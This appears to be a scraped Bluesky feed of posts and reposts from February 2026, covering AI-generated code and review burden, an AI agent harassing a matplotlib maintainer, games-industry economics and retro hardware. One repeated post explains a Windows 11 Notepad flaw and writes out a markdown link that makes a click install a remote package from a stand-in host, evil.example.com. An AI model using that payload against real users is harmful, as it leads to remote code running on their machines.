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Street View, retro PC/gameconsole hardware hacking, sumo fandom, whisky nerdery, and occasional bits about iOS/Android development. Trans rights are human rights. (he/him)
Thatโs a family wreath, is what that is.
Itโs like the cat version of 2x Pimpy 3x Bape.
Itโs like the cat version of 2x Pimpy 3x Bape.
February 14, 2026 at 7:46 AM
Thatโs a family wreath, is what that is.
Itโs like the cat version of 2x Pimpy 3x Bape.
Itโs like the cat version of 2x Pimpy 3x Bape.
Hat tip to swecyb.com/@andersekner... for the initial story.
Anders Eknert (@anderseknert@swecyb.com)
AI agent "contributes" PR to matplotlib.
PR gets rejected.
AI agent *writes and publishes blog to shame the maintainer*.
What a time to be alive.
https://github.com/matplotlib/matplotlib/pull/3113...
swecyb.com
February 13, 2026 at 11:58 PM
Hat tip to swecyb.com/@andersekner... for the initial story.
Whee, @arstechnica.com is the latest long-standing news site to become a shoddy faucet of hallucinated slop.
Bonus: The article (now deleted) was about an OSS maintainer being harassed because they wouldn't accept a slop PR! It's literally slop _about_ slop!
Bonus: The article (now deleted) was about an OSS maintainer being harassed because they wouldn't accept a slop PR! It's literally slop _about_ slop!
What's going on here? The matplotlib maintainer this story is about correctly notes that all the quotes from his post in the article are made up.
arstechnica.com/ai/2...
arstechnica.com/ai/2...
February 13, 2026 at 11:50 PM
Whee, @arstechnica.com is the latest long-standing news site to become a shoddy faucet of hallucinated slop.
Bonus: The article (now deleted) was about an OSS maintainer being harassed because they wouldn't accept a slop PR! It's literally slop _about_ slop!
Bonus: The article (now deleted) was about an OSS maintainer being harassed because they wouldn't accept a slop PR! It's literally slop _about_ slop!
I suspect that G's "readability" mentoring system will be a casualty of AI code adoption. There aren't nearly enough reviewers to keep up with the increased code output lately, nor does a mentoring process provide benefit for bots which don't retain durable learning from CL comments/corrections.
February 13, 2026 at 10:33 PM
I suspect that G's "readability" mentoring system will be a casualty of AI code adoption. There aren't nearly enough reviewers to keep up with the increased code output lately, nor does a mentoring process provide benefit for bots which don't retain durable learning from CL comments/corrections.
Even if the code somewhat works, there's a lot of time spent just calling out basic team code standards.
You're not saving time, you're shifting the effort to the reviewer! And both the number of code review requests I get per week (30+ last wk!) and the time needed/review is going up over time.
You're not saving time, you're shifting the effort to the reviewer! And both the number of code review requests I get per week (30+ last wk!) and the time needed/review is going up over time.
February 13, 2026 at 10:33 PM
Even if the code somewhat works, there's a lot of time spent just calling out basic team code standards.
You're not saving time, you're shifting the effort to the reviewer! And both the number of code review requests I get per week (30+ last wk!) and the time needed/review is going up over time.
You're not saving time, you're shifting the effort to the reviewer! And both the number of code review requests I get per week (30+ last wk!) and the time needed/review is going up over time.
There are immediate tells when one of my coworkers slopped a CL vs writing it themselves. The style is totally different, weird idioms happen, it uses snippets of baseline iOS APIs (probably cribbed from SO answers) instead of using existing internal libraries.
And it takes a lot longer to review.
And it takes a lot longer to review.
February 13, 2026 at 10:33 PM
There are immediate tells when one of my coworkers slopped a CL vs writing it themselves. The style is totally different, weird idioms happen, it uses snippets of baseline iOS APIs (probably cribbed from SO answers) instead of using existing internal libraries.
And it takes a lot longer to review.
And it takes a lot longer to review.
There's dumb propaganda today about "we haven't written any code by ourselves for months." While a human may not have written it, a human probably had to review it!
Code reviews are time-consuming and hard even for human code, much less weird slop that doesn't follow style guides or best practices.
Code reviews are time-consuming and hard even for human code, much less weird slop that doesn't follow style guides or best practices.
February 13, 2026 at 10:33 PM
There's dumb propaganda today about "we haven't written any code by ourselves for months." While a human may not have written it, a human probably had to review it!
Code reviews are time-consuming and hard even for human code, much less weird slop that doesn't follow style guides or best practices.
Code reviews are time-consuming and hard even for human code, much less weird slop that doesn't follow style guides or best practices.
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The game you are about to play is a product of its time. It may depict the PS3, which was commonplace in society. These depictions were wrong then and are wrong today.
New intro screen for Metal Gear Solid 4 in Master Collection vol 2
February 13, 2026 at 8:05 AM
The game you are about to play is a product of its time. It may depict the PS3, which was commonplace in society. These depictions were wrong then and are wrong today.
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The details of the Kristi Noem blanket incident are just fucking perfect
February 13, 2026 at 3:35 AM
The details of the Kristi Noem blanket incident are just fucking perfect
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Every c-suite's dropping smart money to chase theoretical money while they all pass around promises of massive ROIs on vaporware. Like I said, we ain't makin video games anymore. Job is make shareholder number go up each quarter by any means necessary. We're money being moved around by sociopaths. ๐
Been thinking about Highguard and the impermanence of games these days (which is to say, moreso that usual)
February 13, 2026 at 3:52 AM
Every c-suite's dropping smart money to chase theoretical money while they all pass around promises of massive ROIs on vaporware. Like I said, we ain't makin video games anymore. Job is make shareholder number go up each quarter by any means necessary. We're money being moved around by sociopaths. ๐
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The Epstein Files' own Peter Thiel is going to handle Discord's age verification? Weird!
Oh you mean the company funded by PETER THIEL?
February 13, 2026 at 1:38 AM
The Epstein Files' own Peter Thiel is going to handle Discord's age verification? Weird!
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Have him washed and sent to my quarters.
When I am done with him
Have him washed in oil set to 350ยฐF for about 8-12 minutes and sent to my quarters
When I am done with him
Have him washed in oil set to 350ยฐF for about 8-12 minutes and sent to my quarters
Project Windless is a Dynasty Warriors-like action RPG where you play as a sword-wielding chicken. It's based on "The Bird That Drinks Tears" series of high-fantasy books. gameinformer.com/state-of-pla...
February 13, 2026 at 12:50 AM
Have him washed and sent to my quarters.
When I am done with him
Have him washed in oil set to 350ยฐF for about 8-12 minutes and sent to my quarters
When I am done with him
Have him washed in oil set to 350ยฐF for about 8-12 minutes and sent to my quarters
Wow - AUSA asking for their own case to be dismissed _with prejudice_.
TLDR: โPolice lied, our case died.โ
(Do feds even maintain a Brady list?)
TLDR: โPolice lied, our case died.โ
(Do feds even maintain a Brady list?)
Yeah, we definitely need more info here.
CourtListener docket: www.courtlistener.com/docket/72164...
CourtListener docket: www.courtlistener.com/docket/72164...
February 13, 2026 at 1:27 AM
Wow - AUSA asking for their own case to be dismissed _with prejudice_.
TLDR: โPolice lied, our case died.โ
(Do feds even maintain a Brady list?)
TLDR: โPolice lied, our case died.โ
(Do feds even maintain a Brady list?)
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"Mr. Do! Purchased At Pink Gorilla for Fourty Bucks"
February 12, 2026 at 7:48 PM
"Mr. Do! Purchased At Pink Gorilla for Fourty Bucks"
I rather like โtwitโ which is both ancient (1500s) and not based on class
unless of course its monty pythonโs upperclass twit of the year
unless of course its monty pythonโs upperclass twit of the year
a man in a suit and hat is smiling and says simon zinc trumpet harris
ALT: a man in a suit and hat is smiling and says simon zinc trumpet harris
media.tenor.com
February 12, 2026 at 8:44 PM
I rather like โtwitโ which is both ancient (1500s) and not based on class
unless of course its monty pythonโs upperclass twit of the year
unless of course its monty pythonโs upperclass twit of the year
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Previously on crossovers with @zachweinersmith.bsky.social:
I gave a talk at Bad Ad-hoc Hypothesis Fest about how we could make English spelling better (by making it much, much worse)
youtu.be/ugkxMflbCh4
I gave a talk at Bad Ad-hoc Hypothesis Fest about how we could make English spelling better (by making it much, much worse)
youtu.be/ugkxMflbCh4
BAHFest East 2019 - Gretchen McCullochโs Plan to Improve English Spelling
YouTube video by BAHFest
youtu.be
February 12, 2026 at 5:55 PM
Previously on crossovers with @zachweinersmith.bsky.social:
I gave a talk at Bad Ad-hoc Hypothesis Fest about how we could make English spelling better (by making it much, much worse)
youtu.be/ugkxMflbCh4
I gave a talk at Bad Ad-hoc Hypothesis Fest about how we could make English spelling better (by making it much, much worse)
youtu.be/ugkxMflbCh4
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Serial Experiments Lain is a cautionary, deeply political story about how cool the Sharp X68000 looked, and what would happen if computers kept looking like that.
February 11, 2026 at 12:52 AM
Serial Experiments Lain is a cautionary, deeply political story about how cool the Sharp X68000 looked, and what would happen if computers kept looking like that.
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it's hard not to think about how 5 or 10 years from now, the shooters (and games writ large) we'll be reverently talking about will still be the same ones we talk about now (DOOM 2016, Titanfall 2, etc) because there is no money going around to make new ones of those happen. we are in purgatory.
February 11, 2026 at 11:59 PM
it's hard not to think about how 5 or 10 years from now, the shooters (and games writ large) we'll be reverently talking about will still be the same ones we talk about now (DOOM 2016, Titanfall 2, etc) because there is no money going around to make new ones of those happen. we are in purgatory.
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Over on threads someone just use ai;dr and we all need to adopt that right quick
February 11, 2026 at 7:56 PM
Over on threads someone just use ai;dr and we all need to adopt that right quick
February 12, 2026 at 3:47 AM
amazingly it's not related to AI
they added Markdown support to Notepad in W11, and don't adequately sanitize links, so you can write `[dancing bunnies](ms-appinstaller://?source=http://evil.example.com/PwnMe.msix)`, and if the user clicks it, it'll gladly run that remote binary as the current user
they added Markdown support to Notepad in W11, and don't adequately sanitize links, so you can write `[dancing bunnies](ms-appinstaller://?source=http://evil.example.com/PwnMe.msix)`, and if the user clicks it, it'll gladly run that remote binary as the current user
February 12, 2026 at 3:38 AM
amazingly it's not related to AI
they added Markdown support to Notepad in W11, and don't adequately sanitize links, so you can write `[dancing bunnies](ms-appinstaller://?source=http://evil.example.com/PwnMe.msix)`, and if the user clicks it, it'll gladly run that remote binary as the current user
they added Markdown support to Notepad in W11, and don't adequately sanitize links, so you can write `[dancing bunnies](ms-appinstaller://?source=http://evil.example.com/PwnMe.msix)`, and if the user clicks it, it'll gladly run that remote binary as the current user
it feels also like capital has condensed all possible outcomes of a game project to either "massive critical success that funds new yachts for our investors and SLT" or "abysmal personal failure, owned solely by the devs, that must be punished with decimation"
'modest success' doesn't exist anymore
'modest success' doesn't exist anymore
February 12, 2026 at 3:29 AM
it feels also like capital has condensed all possible outcomes of a game project to either "massive critical success that funds new yachts for our investors and SLT" or "abysmal personal failure, owned solely by the devs, that must be punished with decimation"
'modest success' doesn't exist anymore
'modest success' doesn't exist anymore
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total insanity man. there's lot of proximal causes, but the main issue is just capital being divorced from the human status of being in charge of the company. as soon as capital isn't in the same building as workers you're fucked fucked fucked.
February 12, 2026 at 2:06 AM
total insanity man. there's lot of proximal causes, but the main issue is just capital being divorced from the human status of being in charge of the company. as soon as capital isn't in the same building as workers you're fucked fucked fucked.
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Anyway, G-Modes Archives and their efforts to re-release Japanese feature phone games of all sorts is quietly one of the coolest things going on in game preservation. Even if you don't read Japanese, many games are perfectly playable. Look some up and throw them a few bucks so they can keep going. ๐
Playing a character action game. ๐
February 11, 2026 at 6:53 AM
Anyway, G-Modes Archives and their efforts to re-release Japanese feature phone games of all sorts is quietly one of the coolest things going on in game preservation. Even if you don't read Japanese, many games are perfectly playable. Look some up and throw them a few bucks so they can keep going. ๐